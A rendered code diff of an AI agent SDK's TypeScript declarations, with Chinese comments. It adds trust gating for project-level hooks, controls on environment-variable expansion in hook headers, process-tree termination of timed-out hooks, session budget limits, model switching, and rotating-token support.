modelsEndpoint?: boolean | undefined;
|
|
17884
18306
|
minTimeoutMs?: number | undefined;
|
|
17885
18307
|
maxTokensExcludesReasoning?: boolean | undefined;
|
|
18308
|
+
reasoningTokens?: "subset_of_output" | "separate" | undefined;
|
|
17886
18309
|
} | undefined;
|
|
17887
18310
|
hostedTools?: string[] | undefined;
|
|
17888
18311
|
background?: boolean | undefined;
|
|
@@ -18021,8 +18444,8 @@ declare const MergedTansrConfigSchema: z.ZodObject<{
|
|
|
18021
18444
|
checkpointsDir?: string | undefined;
|
|
18022
18445
|
autoCheckpointBeforeCompact?: boolean | undefined;
|
|
18023
18446
|
segmentation?: {
|
|
18024
|
-
enabled?: boolean | undefined;
|
|
18025
18447
|
maxBytes?: number | undefined;
|
|
18448
|
+
enabled?: boolean | undefined;
|
|
18026
18449
|
maxRecords?: number | undefined;
|
|
18027
18450
|
} | undefined;
|
|
18028
18451
|
} | undefined;
|
|
@@ -18048,7 +18471,16 @@ type MergedTansrConfig = z.infer<typeof MergedTansrConfigSchema>;
|
|
|
18048
18471
|
* (AGENTS.md「工具只产出结构化数据」铁律;键清单见任务报告)。
|
|
18049
18472
|
*/
|
|
18050
18473
|
|
|
18051
|
-
/**
|
|
18474
|
+
/**
|
|
18475
|
+
* 配置层名(与权限引擎的 RuleLayerName 是两套概念,映射见 permissions.ts)。
|
|
18476
|
+
*
|
|
18477
|
+
* RF-06(RV-1-07)分层口径澄清:本词表只建模**五个文件层**(sources / captureLayers /
|
|
18478
|
+
* 诊断归因的「层」恒取自此)。**env 与运行参数不是层,是段律**——某段能否被 env 覆盖、
|
|
18479
|
+
* 覆盖方向(整体接管 / 只能收紧 / 无)由 `section-policy.ts` 的 `SectionEnvRule` 逐段
|
|
18480
|
+
* 单表表达,env 压不过 managed 地板时以 `env-suppressed` 归因(`sandbox-section.ts`);
|
|
18481
|
+
* 远程 org 下发是 cli remote-settings 叠加的半层(`HttpSectionLayer` 等的 'remote' 只作
|
|
18482
|
+
* 生效值来源标签,不入本词表)。两张表(文件层 × 段 env 律)分工如上,不是并存的两套层。
|
|
18483
|
+
*/
|
|
18052
18484
|
type ConfigLayerName = 'managed' | 'projectLocal' | 'projectShared' | 'user' | 'builtin';
|
|
18053
18485
|
type ConfigDiagnosticSeverity = 'error' | 'warning' | 'info';
|
|
18054
18486
|
type ConfigDiagnosticCode =
|
|
@@ -18706,8 +19138,12 @@ interface PricingUpdate {
|
|
|
18706
19138
|
* - 外部 AbortSignal → 杀进程,计 aborted(整批取消场景)。
|
|
18707
19139
|
*
|
|
18708
19140
|
* 超时与外部信号经 withTimeout 合成一条信号贯穿(与 Http 工具同法);
|
|
18709
|
-
*
|
|
18710
|
-
*
|
|
19141
|
+
* 进程终止为**整树击杀**两段(RF-10 · RV-2-08):POSIX 以 detached 启动使 hook
|
|
19142
|
+
* 成为进程组组长,终止时 SIGTERM 发给整组、宽限后 SIGKILL 整组;Windows 无软
|
|
19143
|
+
* 信号,taskkill /PID /T /F 按父子链整树硬杀(与 tools/shell/executor、
|
|
19144
|
+
* tools/mcp/stdio-transport 同法)。改造前只 kill hook 本进程:hook 脚本派生的
|
|
19145
|
+
* 后台孙进程(`cmd &`、守护进程)在超时后成为孤儿续跑,timeoutMs 的资源承诺
|
|
19146
|
+
* 失效。自行 setsid 脱组(POSIX)的守护进程超出进程组语义,属已知边界。
|
|
18711
19147
|
*
|
|
18712
19148
|
* 注入缝(两个,择一):
|
|
18713
19149
|
* - spawn(Q4-7 执行世界 SpawnLike,经 hook 引擎构造参数注入;缺省
|
|
@@ -18717,6 +19153,11 @@ interface PricingUpdate {
|
|
|
18717
19153
|
* 冒烟用 process.execPath -e 短脚本单独覆盖。两者同时注入时 spawn 优先。
|
|
18718
19154
|
*/
|
|
18719
19155
|
|
|
19156
|
+
/**
|
|
19157
|
+
* 树杀原语签名(注入缝;缺省 defaultHookKillTree)。groupOwned = 子进程以
|
|
19158
|
+
* detached 启动、是自己进程组的组长(POSIX 整组信号的前提;Windows 恒 false)。
|
|
19159
|
+
*/
|
|
19160
|
+
type HookKillTree = (child: SpawnedProcessLike, signal: 'SIGTERM' | 'SIGKILL', groupOwned: boolean) => void;
|
|
18720
19161
|
type SpawnImpl = typeof spawn;
|
|
18721
19162
|
interface CommandHookRunnerOptions {
|
|
18722
19163
|
/**
|
|
@@ -18730,6 +19171,10 @@ interface CommandHookRunnerOptions {
|
|
|
18730
19171
|
env?: Record<string, string | undefined>;
|
|
18731
19172
|
/** exit→close 兜底宽限毫秒(K-1;缺省 EXIT_CLOSE_GRACE_MS,测试注入短值) */
|
|
18732
19173
|
exitCloseGraceMs?: number;
|
|
19174
|
+
/** 树杀原语注入缝(缺省 defaultHookKillTree;测试记录信号序而不触真实 taskkill/组信号) */
|
|
19175
|
+
killTree?: HookKillTree;
|
|
19176
|
+
/** SIGTERM → SIGKILL 宽限毫秒(缺省 KILL_GRACE_MS,测试注入短值) */
|
|
19177
|
+
killGraceMs?: number;
|
|
18733
19178
|
}
|
|
18734
19179
|
|
|
18735
19180
|
interface HttpHookRunnerOptions {
|
|
@@ -18754,6 +19199,20 @@ interface HttpHookRunnerOptions {
|
|
|
18754
19199
|
* 配置后(含空数组)引用名单外变量按错误处理(企业 managed 层锁定用)。
|
|
18755
19200
|
*/
|
|
18756
19201
|
allowedHeaderEnvVars?: readonly string[];
|
|
19202
|
+
/**
|
|
19203
|
+
* allowlist 谓词(信任维度接缝):对每个 `${VAR}` 引用以变量名与语境
|
|
19204
|
+
* (header 名、hook 来源层)问一次,false = 按「名单外」处理(不解析、不出网、
|
|
19205
|
+
* 错误消息不含值)。与数组 allowlist 叠加只收紧(两者皆放行才替换);缺省不问 =
|
|
19206
|
+
* 现状零行为变更。「项目层 `${VAR}` 一律不展开」之类的信任门由装配层注入本谓词实现。
|
|
19207
|
+
*/
|
|
19208
|
+
headerEnvVarAllowed?: HeaderEnvVarPredicate;
|
|
19209
|
+
/**
|
|
19210
|
+
* 是否展开 `${VAR}` 整值引用(RF-02b 信任门缝):false = **原样字面量发送**——不读 env、
|
|
19211
|
+
* 不进 allowlist 裁决、不拒发(仓库可控的项目层配置永不读取宿主环境,又不因 `${VAR}`
|
|
19212
|
+
* 写法而失去 hook 本身);缺省恒 true = 现状。与 headerEnvVarAllowed 的区别:后者是
|
|
19213
|
+
* 「拒发」,本谓词是「不展开」。
|
|
19214
|
+
*/
|
|
19215
|
+
expandHeaderEnvRefs?: (context: HeaderEnvVarContext) => boolean;
|
|
18757
19216
|
/** 显式允许私网/环回端点(默认拒绝;企业内网 hook 端点场景) */
|
|
18758
19217
|
allowPrivateUrls?: boolean;
|
|
18759
19218
|
/**
|
|
@@ -18762,6 +19221,15 @@ interface HttpHookRunnerOptions {
|
|
|
18762
19221
|
*/
|
|
18763
19222
|
lookupImpl?: HostAddressLookup;
|
|
18764
19223
|
}
|
|
19224
|
+
/** header `${VAR}` 引用的裁决语境 */
|
|
19225
|
+
interface HeaderEnvVarContext {
|
|
19226
|
+
/** 引用所在 header 名(配置原文) */
|
|
19227
|
+
header: string;
|
|
19228
|
+
/** hook 来源层(引擎透传 HookEntry.layer;直调缺省) */
|
|
19229
|
+
layer?: ConfigLayerName;
|
|
19230
|
+
}
|
|
19231
|
+
/** allowlist 谓词:(变量名, 语境) → 是否允许解析 */
|
|
19232
|
+
type HeaderEnvVarPredicate = (varName: string, context: HeaderEnvVarContext) => boolean;
|
|
18765
19233
|
|
|
18766
19234
|
/**
|
|
18767
19235
|
* HookEngine:匹配 → 并行执行 → 按配置优先级稳定排序应用。
|
|
@@ -18808,16 +19276,43 @@ interface HookEngineOptions {
|
|
|
18808
19276
|
command?: CommandHookRunnerOptions;
|
|
18809
19277
|
/** http 执行体注入缝 */
|
|
18810
19278
|
http?: HttpHookRunnerOptions;
|
|
19279
|
+
/**
|
|
19280
|
+
* 按层启用谓词(信任维度接缝):对每个候选条目以其来源层
|
|
19281
|
+
* (`HookEntry.layer`)问一次,false = 该条目本次不参与(不匹配、不签发
|
|
19282
|
+
* hook.triggered、不执行、不进 executions;`hasHooks` 同口径)。缺省恒 true =
|
|
19283
|
+
* 现状零行为变更。信任门(如工作区未信任 → 项目层关)由装配层注入,
|
|
19284
|
+
* 引擎自身不持有任何信任状态。
|
|
19285
|
+
*/
|
|
19286
|
+
layerEnabled?: HookLayerPredicate;
|
|
19287
|
+
}
|
|
19288
|
+
/** 按层启用谓词:(来源层, 条目) → 本次是否参与 */
|
|
19289
|
+
type HookLayerPredicate = (layer: ConfigLayerName, entry: HookEntry) => boolean;
|
|
19290
|
+
/** 按层视图的单层计数(已装配条目数 / 当前谓词下启用数) */
|
|
19291
|
+
interface HookLayerCount {
|
|
19292
|
+
registered: number;
|
|
19293
|
+
enabled: number;
|
|
18811
19294
|
}
|
|
18812
19295
|
interface HookRunOptions {
|
|
18813
19296
|
/** 外部取消信号(整批 hook 一起取消) */
|
|
18814
19297
|
signal?: AbortSignal;
|
|
19298
|
+
/**
|
|
19299
|
+
* 本次触发的条目筛选谓词(RF-02b):与 layerEnabled 叠加只收紧(未选中 = 不签发
|
|
19300
|
+
* triggered、不执行)。装配层用它**补发**一次此前被信任门挡下的项目层 SessionStart
|
|
19301
|
+
* 而不重跑其余层;缺省全选。`hasHooks` 同口径。
|
|
19302
|
+
*/
|
|
19303
|
+
select?: (entry: HookEntry) => boolean;
|
|
18815
19304
|
}
|
|
18816
19305
|
declare class HookEngine {
|
|
18817
19306
|
#private;
|
|
18818
19307
|
constructor(options: HookEngineOptions);
|
|
18819
19308
|
/** 事件是否有已注册且命中的 hook(调用方可先探测再组装载荷) */
|
|
18820
|
-
hasHooks(event: HookEventName, matchValue?: string): boolean;
|
|
19309
|
+
hasHooks(event: HookEventName, matchValue?: string, options?: Pick<HookRunOptions, 'select'>): boolean;
|
|
19310
|
+
/**
|
|
19311
|
+
* 按层视图:各来源层已装配的条目数与当前谓词下的启用数(仅列有条目的层;
|
|
19312
|
+
* 缺省谓词下 enabled 恒等于 registered)。event 缺省 = 全事件汇总。装配层据此可
|
|
19313
|
+
* 呈现「N 条项目层 hooks 待信任裁决」一类提示,不必自行遍历 LoadedHooks。
|
|
19314
|
+
*/
|
|
19315
|
+
layerView(event?: HookEventName): Partial<Record<ConfigLayerName, HookLayerCount>>;
|
|
18821
19316
|
/**
|
|
18822
19317
|
* 触发一次事件:命中 hook 并行执行,结果按配置优先级稳定排序应用。
|
|
18823
19318
|
* 引擎自身永不 throw 业务错误——一切失败降级为 execution.status(fail-open)。
|
|
@@ -19301,10 +19796,9 @@ type ImageInputMode = InputModalityMode;
|
|
|
19301
19796
|
* 400);门关或非 user 角色 **恒硬错**(throw TwpImageWireError,整次
|
|
19302
19797
|
* 请求不发出不计费)——wire 层是最后防线不是降级点,旧「静默剥图照发
|
|
19303
19798
|
* 文本」径已废除(doc/51 原则 5「降级恒显式」;显式拒绝的用户呈现半边
|
|
19304
|
-
* 在 TUI 发送谓词前门)。tool_result
|
|
19305
|
-
*
|
|
19306
|
-
*
|
|
19307
|
-
* 契约扩展)」;占位实态由 CW3 M6 E2E(cli test/wire/twp-image-e2e)锁定;
|
|
19799
|
+
* 在 TUI 发送谓词前门)。OBS-07:tool_result 内嵌图片保留文字锚点,
|
|
19800
|
+
* 字节提升到全部工具结果之后的 user 图片消息;沿用既有 image-input
|
|
19801
|
+
* 词表和能力门,不扩展 tool_result.v,也不静默剥图。
|
|
19308
19802
|
* - thinking/opaque 无 twp/1 v1 载荷位:出线丢弃(方言差异收敛在网关,
|
|
19309
19803
|
* 服务端按各厂商 must_echo_back 语义回填;载荷位扩展属 twp/1 v2 双侧
|
|
19310
19804
|
* 契约议题——CW3 后敞口,销账登记见 doc/report/CW3-M6 终报);
|
|
@@ -20253,13 +20747,20 @@ interface SessionStore {
|
|
|
20253
20747
|
/**
|
|
20254
20748
|
* `AgentSession.drain()` 的选项:`timeoutMs` 观察预算(缺省 30 秒;Infinity = 不限)、`signal` 只取消
|
|
20255
20749
|
* 观察者不取消共享工作、`flushStore` 是否顺带调用借用 store 的全局 flush、`retryPersistence` 是否
|
|
20256
|
-
*
|
|
20750
|
+
* 重试此前失败的持久化提交、`force` 观察预算耗尽后是否强制释放自有资源(见字段说明)。
|
|
20257
20751
|
*/
|
|
20258
20752
|
interface SessionDrainOptions {
|
|
20259
20753
|
timeoutMs?: number;
|
|
20260
20754
|
signal?: AbortSignal;
|
|
20261
20755
|
flushStore?: boolean;
|
|
20262
20756
|
retryPersistence?: boolean;
|
|
20757
|
+
/**
|
|
20758
|
+
* 已关闭会话的收尾观察在 `timeoutMs` 内未确认(适配器违约:settle 回 pending>0 / 超时,或收尾仍在飞)时,
|
|
20759
|
+
* 强制释放自有资源(会话级 MCP host 等)并以结构化失败(`*_settlement_incomplete` / `*_settlement_forced`)
|
|
20760
|
+
* 交付,再以同一预算等待释放完成。缺省 false = 只观察不强制(既有语义:未确认即不关自有资源)。
|
|
20761
|
+
* 对未关闭的会话无效。
|
|
20762
|
+
*/
|
|
20763
|
+
force?: boolean;
|
|
20263
20764
|
}
|
|
20264
20765
|
/** 生命周期失败发生的阶段(查询环 / 空闲操作 / 存储提交 / 历史回调 / cwd 提交 / store flush / MCP 关闭 / 装配回滚) */
|
|
20265
20766
|
type SessionLifecyclePhase = 'query' | 'idle_operation' | 'store_commit' | 'history_callback' | 'cwd_commit' | 'store_flush' | 'mcp_close' | 'assembly_rollback';
|
|
@@ -20293,9 +20794,12 @@ interface SessionDrainResult {
|
|
|
20293
20794
|
level: 'transport-completion' | 'connector-close-promise';
|
|
20294
20795
|
}[];
|
|
20295
20796
|
}
|
|
20296
|
-
/**
|
|
20797
|
+
/**
|
|
20798
|
+
* 可等待清理完成的句柄(`SdkLifecycleError.cleanup` 携带;`drain()` 等待在飞释放并返回结果;
|
|
20799
|
+
* `force` 语义同 `SessionDrainOptions.force`:收尾观察预算耗尽后强制释放自有资源)
|
|
20800
|
+
*/
|
|
20297
20801
|
interface SdkCleanupHandle {
|
|
20298
|
-
drain(options?: Pick<SessionDrainOptions, 'timeoutMs' | 'signal'>): Promise<SessionDrainResult>;
|
|
20802
|
+
drain(options?: Pick<SessionDrainOptions, 'timeoutMs' | 'signal' | 'force'>): Promise<SessionDrainResult>;
|
|
20299
20803
|
}
|
|
20300
20804
|
/** 诊断可滚动淘汰;各阶段未修复失败事实独立保留,不因窗口滚动消失。 */
|
|
20301
20805
|
declare class LifecycleLedger {
|
|
@@ -21525,6 +22029,20 @@ interface AssembleToolingOptions {
|
|
|
21525
22029
|
/** AskUser 工具交互通道;缺省 UnavailableChannel(结构化降级,不挂起) */
|
|
21526
22030
|
promptChannel?: PromptChannel;
|
|
21527
22031
|
permission?: PermissionOptions;
|
|
22032
|
+
/**
|
|
22033
|
+
* 项目层 hooks 信任门(托管档)。缺席 / false = 工作区 `.tansr/settings.json` 与 `settings.local.json`
|
|
22034
|
+
* 声明的 command / http hooks 不启用、零执行(user 层 / managed 层 hooks 照常);true = 宿主代表用户为该
|
|
22035
|
+
* 工作区授信,项目层 hooks 照跑。SDK 不持久化信任、不读取命令行工具的工作区信任记录——授信事实由宿主
|
|
22036
|
+
* 自行掌握并逐次传入。门住的项目层 hooks 在场时经 `warn` 通报一次 `project_hooks_untrusted`(sdk 源,
|
|
22037
|
+
* `detail.registered` = 各项目层被门住的条目数)。注入档(loaded 为 null)无 hooks,本项无效。
|
|
22038
|
+
*/
|
|
22039
|
+
trustProjectHooks?: boolean;
|
|
22040
|
+
/**
|
|
22041
|
+
* 权限引擎 Shell 命令词法方言(kernel `HostShell`:'posix' | 'powershell')。缺席随平台(kernel
|
|
22042
|
+
* `detectHostShell()`,与内置 Shell 工具实际派生的 shell 一致);显式值供测试或跨平台装配演练——与真实
|
|
22043
|
+
* 执行 shell 错配会让命令词法守卫与执行环境脱节,生产宿主不应设置。
|
|
22044
|
+
*/
|
|
22045
|
+
hostShell?: HostShell;
|
|
21528
22046
|
/**
|
|
21529
22047
|
* 裁决人:kernel 分类器配置 + 生效姿态 + 生效资格档(assembleBundleAdjudicator 产物三件,治理旋钮已叠加)。
|
|
21530
22048
|
* 在场即 PermissionEngine({ mode: modeUnderAdjudicator({ posture, tier }), classifier })——模式由 kernel
|
|
@@ -22205,15 +22723,18 @@ declare class TansrSdkError extends Error {
|
|
|
22205
22723
|
|
|
22206
22724
|
/**
|
|
22207
22725
|
* 生命周期收口失败(`lifecycle_failed` / 装配期 `assembly_failed`):`failures` 逐项列出失败阶段与码,
|
|
22208
|
-
* `errors` 为对应原始错误;`cleanup`
|
|
22726
|
+
* `errors` 为对应原始错误;`cleanup` 在场时可再次调用以继续回收未收口的资源;`result` 在场时为
|
|
22727
|
+
* 消费者已拿到的自然终态(`query()` 收尾失败 / 超时不整体替换已完成的 QueryResult,附诊断交付)。
|
|
22209
22728
|
*/
|
|
22210
22729
|
declare class SdkLifecycleError extends TansrSdkError {
|
|
22211
22730
|
readonly failures: readonly SessionLifecycleFailure[];
|
|
22212
22731
|
readonly errors: readonly unknown[];
|
|
22213
22732
|
readonly cleanup: SdkCleanupHandle | undefined;
|
|
22733
|
+
readonly result: QueryResult | undefined;
|
|
22214
22734
|
constructor(code: 'lifecycle_failed' | 'assembly_failed', failures: readonly SessionLifecycleFailure[], options?: {
|
|
22215
22735
|
cause?: unknown;
|
|
22216
22736
|
cleanup?: SdkCleanupHandle;
|
|
22737
|
+
result?: QueryResult;
|
|
22217
22738
|
});
|
|
22218
22739
|
}
|
|
22219
22740
|
|
|
@@ -22237,8 +22758,11 @@ interface ManagedQueryOptions extends QueryLifecycleOptions {
|
|
|
22237
22758
|
system?: IRSystemSegment[];
|
|
22238
22759
|
/** 业务段选定后追加的宿主指南,不触发平台默认覆盖;权限与工具指南仍独立装配。 */
|
|
22239
22760
|
systemAppend?: IRSystemSegment[];
|
|
22240
|
-
/**
|
|
22241
|
-
|
|
22761
|
+
/**
|
|
22762
|
+
* app_user 短期令牌(开发者服务端换发;模型与能力位由 bundle 供给)。亦可传 getter(`() => currentToken`):
|
|
22763
|
+
* 每个平台请求发起时取现值,令牌轮换后长跑 query 自动携新令牌;getter 须回非空字符串。
|
|
22764
|
+
*/
|
|
22765
|
+
token?: string | (() => string);
|
|
22242
22766
|
/** 平台 API 基址(令牌档必填,如 https://api.example.com) */
|
|
22243
22767
|
baseUrl?: string;
|
|
22244
22768
|
/**
|
|
@@ -22333,6 +22857,20 @@ declare function accumulateUsage(total: IRUsage | undefined, next: IRUsage): IRU
|
|
|
22333
22857
|
*/
|
|
22334
22858
|
declare function query(options: QueryOptions): AsyncGenerator<KernelEvent, QueryResult, undefined>;
|
|
22335
22859
|
|
|
22860
|
+
/** 新一轮用户图文输入的类型和校验。 */
|
|
22861
|
+
|
|
22862
|
+
/** 可提交到新一轮会话的文本或内嵌 Base64 图片块。 */
|
|
22863
|
+
type SessionUserBlock = Extract<IRBlock, {
|
|
22864
|
+
t: 'text' | 'image';
|
|
22865
|
+
}>;
|
|
22866
|
+
/** 图文提交结果;started 表示新轮已启动,rejected 表示未接收并说明原因。 */
|
|
22867
|
+
type SendBlocksResult = {
|
|
22868
|
+
status: 'started';
|
|
22869
|
+
} | {
|
|
22870
|
+
status: 'rejected';
|
|
22871
|
+
reason: 'turn_running' | 'operation_running' | 'empty_input' | 'invalid_blocks' | 'invalid_image' | 'image_too_large' | 'context_budget_exceeded';
|
|
22872
|
+
};
|
|
22873
|
+
|
|
22336
22874
|
/**
|
|
22337
22875
|
* 媒体异步任务客户端(四面媒体工具共用):
|
|
22338
22876
|
* POST {base}/t1/{face}/tasks 提交即返 taskId → GET {base}/t1/{face}/tasks/{id}
|
|
@@ -22577,7 +23115,8 @@ declare class PlatformRequestError extends TansrSdkError {
|
|
|
22577
23115
|
readonly status: number;
|
|
22578
23116
|
readonly platformCode: string;
|
|
22579
23117
|
readonly platformMessage: string;
|
|
22580
|
-
|
|
23118
|
+
readonly detail: Readonly<Record<string, number>> | undefined;
|
|
23119
|
+
constructor(face: PlatformAudioFace, status: number, platformCode: string, platformMessage: string, cause?: unknown, detail?: unknown);
|
|
22581
23120
|
}
|
|
22582
23121
|
/** 网关往返结果(serve 代打径透传用;恒不 throw) */
|
|
22583
23122
|
type PlatformAudioResponse = {
|
|
@@ -22608,6 +23147,7 @@ declare function requestPlatformAudio(options: RequestPlatformAudioOptions): Pro
|
|
|
22608
23147
|
declare function platformErrorOf(body: unknown, status: number): {
|
|
22609
23148
|
code: string;
|
|
22610
23149
|
message: string;
|
|
23150
|
+
detail?: Record<string, number>;
|
|
22611
23151
|
};
|
|
22612
23152
|
/** 令牌档直连客户端(createSession 令牌档在 AgentSession.platform 挂载;亦可独立构造) */
|
|
22613
23153
|
declare function createPlatformAudioClient(options: CreatePlatformAudioClientOptions): PlatformAudioClient;
|
|
@@ -22661,6 +23201,124 @@ declare function sliceHistoryPage(messages: readonly IRMessage[], offset: number
|
|
|
22661
23201
|
*/
|
|
22662
23202
|
declare function readHistoryPage(store: SessionStore, sessionId: string, options?: HistoryPageOptions): Promise<HistoryPage | null>;
|
|
22663
23203
|
|
|
23204
|
+
/** 会话模型、上下文预算与模型切换的可序列化状态。 */
|
|
23205
|
+
|
|
23206
|
+
/** 模型身份及已知上下文窗口;未知窗口为 null,alias 保留调用者选择的别名。 */
|
|
23207
|
+
interface SessionModelState {
|
|
23208
|
+
model: ResolvedModel;
|
|
23209
|
+
alias: string | null;
|
|
23210
|
+
contextWindowTokens: number | null;
|
|
23211
|
+
}
|
|
23212
|
+
/** 会话当前和下一轮的模型、最近观测用量及本地上下文预算快照。 */
|
|
23213
|
+
interface SessionContextState {
|
|
23214
|
+
/** 下一轮将使用的模型;运行中的当前轮不会随此值改变。 */
|
|
23215
|
+
selected: SessionModelState;
|
|
23216
|
+
/** 当前运行轮冻结的模型;无运行轮时为 null。 */
|
|
23217
|
+
active: SessionModelState | null;
|
|
23218
|
+
lastObserved: {
|
|
23219
|
+
model: ResolvedModel;
|
|
23220
|
+
observedAt: number;
|
|
23221
|
+
evidence: 'usage';
|
|
23222
|
+
} | null;
|
|
23223
|
+
lastUsage: {
|
|
23224
|
+
usage: IRUsage;
|
|
23225
|
+
model: ResolvedModel;
|
|
23226
|
+
observedAt: number;
|
|
23227
|
+
} | null;
|
|
23228
|
+
/** 已观测到的 provider 切换,不据此推断未经确认的模型身份。 */
|
|
23229
|
+
fallback: {
|
|
23230
|
+
from: string;
|
|
23231
|
+
to: string;
|
|
23232
|
+
observedAt: number;
|
|
23233
|
+
} | null;
|
|
23234
|
+
budget: ContextBudgetState;
|
|
23235
|
+
sampledAt: number;
|
|
23236
|
+
history: 'live' | 'committed';
|
|
23237
|
+
transition: {
|
|
23238
|
+
status: 'idle' | 'preparing' | 'committing';
|
|
23239
|
+
target: ResolvedModel | null;
|
|
23240
|
+
};
|
|
23241
|
+
}
|
|
23242
|
+
/** 安全切换模型时的取消、时限、摘要调用上限和可选压缩配置。 */
|
|
23243
|
+
interface SwitchModelOptions {
|
|
23244
|
+
signal?: AbortSignal;
|
|
23245
|
+
timeoutMs?: number;
|
|
23246
|
+
maxSummaryCalls?: number;
|
|
23247
|
+
/** 显式重绑压缩配置,外置manager须与目标模型/客户端成对且窗口不越界。 */
|
|
23248
|
+
compaction?: QueryCompactionOptions;
|
|
23249
|
+
}
|
|
23250
|
+
/** 模型切换结果;changed 表示迁移已提交,rejected 附拒绝原因及可用的备份标识。 */
|
|
23251
|
+
type SwitchModelResult = {
|
|
23252
|
+
status: 'changed';
|
|
23253
|
+
from: ResolvedModel;
|
|
23254
|
+
to: ResolvedModel;
|
|
23255
|
+
compacted: boolean;
|
|
23256
|
+
summaryCalls: number;
|
|
23257
|
+
checkpointId?: string;
|
|
23258
|
+
} | {
|
|
23259
|
+
status: 'rejected';
|
|
23260
|
+
reason: 'turn_running' | 'manager_incompatible' | 'cancelled' | 'checkpoint_failed' | 'persistence_failed' | 'persistence_rollback_failed' | 'target_window_unknown' | 'source_window_unknown' | 'input_too_large' | 'summary_failed' | 'target_budget_exceeded' | 'call_limit' | 'invalid_history';
|
|
23261
|
+
checkpointId?: string;
|
|
23262
|
+
};
|
|
23263
|
+
/** 最近一次需摘要的迁移前完整原文,纯内存会话也保留;跟随会话生命周期。 */
|
|
23264
|
+
interface ModelTransitionBackup {
|
|
23265
|
+
model: ResolvedModel;
|
|
23266
|
+
messages: IRMessage[];
|
|
23267
|
+
createdAt: number;
|
|
23268
|
+
checkpointId?: string;
|
|
23269
|
+
}
|
|
23270
|
+
|
|
23271
|
+
/**
|
|
23272
|
+
* 会话预算闸装配(DEC-RF-29:TUI / headless / serve / acp / sdk 五形态读同一 `budget` 段形、走同一
|
|
23273
|
+
* kernel RunQueryBudget 闸门语义)。
|
|
23274
|
+
*
|
|
23275
|
+
* - 段形 = protocol `BudgetSection`(配置层 `budget` 段:maxUsd / maxTotalTokens / onExceeded),与
|
|
23276
|
+
* `CreateSessionOptions.thinking.budget`(思考 token 预算,生成面旋钮)无关;
|
|
23277
|
+
* - 消耗口径 = kernel `budgetSpendOf(snapshot)` 单点(RF-06;cli assembly/budget.ts / serve
|
|
23278
|
+
* platform-session-factory.ts 同源),快照来自本会话 CostTracker(消费会话事件流 `cost.usage.updated`,
|
|
23279
|
+
* 含子代理 / 压缩摘要上卷);
|
|
23280
|
+
* - 思考路逐行按该行 provider 能力位 `quirks.reasoningTokens` 在 tracker 记账期归账(RF-P3a;
|
|
23281
|
+
* 托管 / 令牌档经 registry 合并产物,注入档回落 providers 内置能力表——与 `resolveImageInputMode` 同律);
|
|
23282
|
+
* - 金额维:令牌档以 bundle 计价(`AssembledPlatformModel.pricingUpdates`)喂 `refreshed` 层价格簿,
|
|
23283
|
+
* `maxUsd` 自此对平台模型出数;托管 / 注入档为内置缺省簿(当前全 CNY → USD 桶恒 0,maxUsd 不设防,
|
|
23284
|
+
* 币种无关兜底用 maxTotalTokens;cli 同限界);
|
|
23285
|
+
* - 两上限皆缺席 = 不接闸、不建 tracker(与 serve 平台内置形同:零漂移)。
|
|
23286
|
+
* 可观测面只走既有通道(DEC-RF-48):block → `turn.aborted{reason:'budget_exceeded'}`,warn → 每次查询
|
|
23287
|
+
* 至多一条 `turn.error{scope:'budget', recoverable:true}`;不新增事件类型 / 字段。
|
|
23288
|
+
*/
|
|
23289
|
+
|
|
23290
|
+
/**
|
|
23291
|
+
* 会话预算(`createSession({ budget })`):会话累计消耗触顶时的处置。
|
|
23292
|
+
* 字段与配置文件 `budget` 段同形(`tansr` 命令行的 TUI / headless / serve / acp 读的是同一段);
|
|
23293
|
+
* 与 `thinking.budget`(单轮思考 token 预算)无关。
|
|
23294
|
+
* 两个上限都缺席时不接闸门(等价于不传)。
|
|
23295
|
+
*/
|
|
23296
|
+
interface SessionBudgetOptions {
|
|
23297
|
+
/**
|
|
23298
|
+
* 会话 USD 金额上限(美元,正数)。比对口径 = 会话成本总账中 USD 币种桶的累计;只有以 USD 计价的模型
|
|
23299
|
+
* (令牌档按平台 bundle 计价)会进入该口径——非 USD 计价与缺价模型不折算、不设防,币种无关的兜底请用
|
|
23300
|
+
* `maxTotalTokens`。
|
|
23301
|
+
*/
|
|
23302
|
+
maxUsd?: number;
|
|
23303
|
+
/** 会话 token 总量上限(正整数):输入 + 输出 + 缓存读 + 缓存写(思考 token 按各模型能力位并入输出,不重复计) */
|
|
23304
|
+
maxTotalTokens?: number;
|
|
23305
|
+
/**
|
|
23306
|
+
* 触顶动作。`'block'`(缺省):下一次模型调用前终止本轮,事件流出 `turn.aborted { reason: 'budget_exceeded' }`,
|
|
23307
|
+
* 会话保持打开,后续轮同样被拦;`'warn'`:每次查询至多一条 `turn.error { scope: 'budget', recoverable: true }`
|
|
23308
|
+
* 后照常继续。已发出的模型流 / 工具调用不会被中途截断。
|
|
23309
|
+
*/
|
|
23310
|
+
onExceeded?: BudgetSection['onExceeded'];
|
|
23311
|
+
}
|
|
23312
|
+
/**
|
|
23313
|
+
* 装配产物:会话账本入流口 + kernel 闸门选项(逐轮透传 runQuery.budget)。
|
|
23314
|
+
* 只暴露 consume 缝、不暴露账本类型:公开 d.ts 不因内部接线卷入 kernel 成本模块声明。
|
|
23315
|
+
*/
|
|
23316
|
+
interface SessionBudgetWiring {
|
|
23317
|
+
/** 会话事件旁路记账(`cost.usage.updated` 逐行入账;其余事件忽略) */
|
|
23318
|
+
consume(event: KernelEvent): void;
|
|
23319
|
+
option: RunQueryBudget;
|
|
23320
|
+
}
|
|
23321
|
+
|
|
22664
23322
|
/**
|
|
22665
23323
|
* `createSession` 的选项。三档模型来源互斥:令牌档(`token` + `baseUrl`,模型与能力位由平台 bundle 供给)/
|
|
22666
23324
|
* 托管档(`model` 为别名字符串,五层配置装配)/ 注入档(`client` + `model` 对象,零配置零 IO);
|
|
@@ -22686,8 +23344,10 @@ interface CreateSessionOptions {
|
|
|
22686
23344
|
* app_user 短期令牌(开发者服务端换发;终端分发形态)。在场即令牌档:
|
|
22687
23345
|
* 模型与能力位由平台 bundle 供给,恒零本地配置 IO(config/loadOptions/
|
|
22688
23346
|
* capabilities 均不可同给)。
|
|
23347
|
+
* 亦可传 getter(`() => currentToken`):每个平台请求(bundle / heartbeat、模型直连、媒体工具、
|
|
23348
|
+
* `session.platform` 直连、提示词刷新)发起时取现值,令牌轮换后无需重建会话;getter 须回非空字符串。
|
|
22689
23349
|
*/
|
|
22690
|
-
token?: string;
|
|
23350
|
+
token?: string | (() => string);
|
|
22691
23351
|
/** 平台 API 基址(令牌档必填,如 https://api.example.com) */
|
|
22692
23352
|
baseUrl?: string;
|
|
22693
23353
|
/**
|
|
@@ -22722,6 +23382,21 @@ interface CreateSessionOptions {
